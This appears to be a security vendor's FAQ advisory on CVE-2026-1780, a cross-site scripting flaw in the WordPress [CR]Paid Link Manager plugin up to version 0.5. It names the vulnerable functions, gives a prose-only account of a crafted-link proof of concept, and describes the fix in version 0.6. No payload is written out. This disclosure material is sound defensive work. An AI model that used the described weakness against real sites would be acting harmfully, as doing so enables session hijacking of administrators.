Any WordPress site using the [CR]Paid Link Manager plugin version 0.5 or earlier is at risk. Administrators who manage these sites should verify their plugin version to determine if they are affected.
How can I check if my site is vulnerable?
Steps for verification
To check if your site is vulnerable, verify the version of the [CR]Paid Link Manager plugin installed. If it is version 0.5 or earlier, your site is vulnerable to CVE-2026-1780.
How can I fix this vulnerability?
Mitigation steps
The vulnerability is fixed in version 0.6 of the [CR]Paid Link Manager plugin. Administrators should update the plugin to the latest version to mitigate the risk associated with this vulnerability.
What does the CVSS score of 6.1 indicate?
Understanding severity ratings
A CVSS score of 6.1 indicates a medium severity level for this vulnerability. This means it poses a moderate risk, particularly in environments where administrators may be tricked into clicking malicious links.
What practical risks does this vulnerability pose?
Potential consequences of exploitation
If exploited, CVE-2026-1780 could allow attackers to execute arbitrary JavaScript in the context of an administrator’s session. This could lead to session hijacking, unauthorized administrative actions, or even site defacement.
What is a proof of concept for this vulnerability?
Demonstrating the issue
The proof of concept demonstrates how an attacker can craft a malicious URL that exploits the vulnerability. It shows that by tricking an authenticated administrator into clicking a link, the attacker can execute JavaScript code, confirming the risk associated with the vulnerability.
What are the vulnerable functions in the plugin?
Identifying specific code issues
The vulnerability is present in several functions, including cr_paid_link_manager_admin_menu() and cr_paid_link_manager_group_list_html(). These functions fail to properly escape output, allowing for XSS attacks.
What changes were made in the patched version?
Improvements in version 0.6
In version 0.6, the plugin was updated to include proper output escaping using functions like esc_url(), esc_html(), and esc_attr(). Additionally, nonce verification was added to enhance security against CSRF attacks.
How can I report vulnerabilities in plugins?
Best practices for reporting
If you discover a vulnerability in a plugin, you should report it to the plugin author or maintainers directly. Providing detailed information about the vulnerability and steps to reproduce it can help them address the issue effectively.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategies
If an immediate update is not possible, consider disabling the plugin until you can apply the patch. Additionally, educate users and administrators about the risks of clicking untrusted links to minimize potential exploitation.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations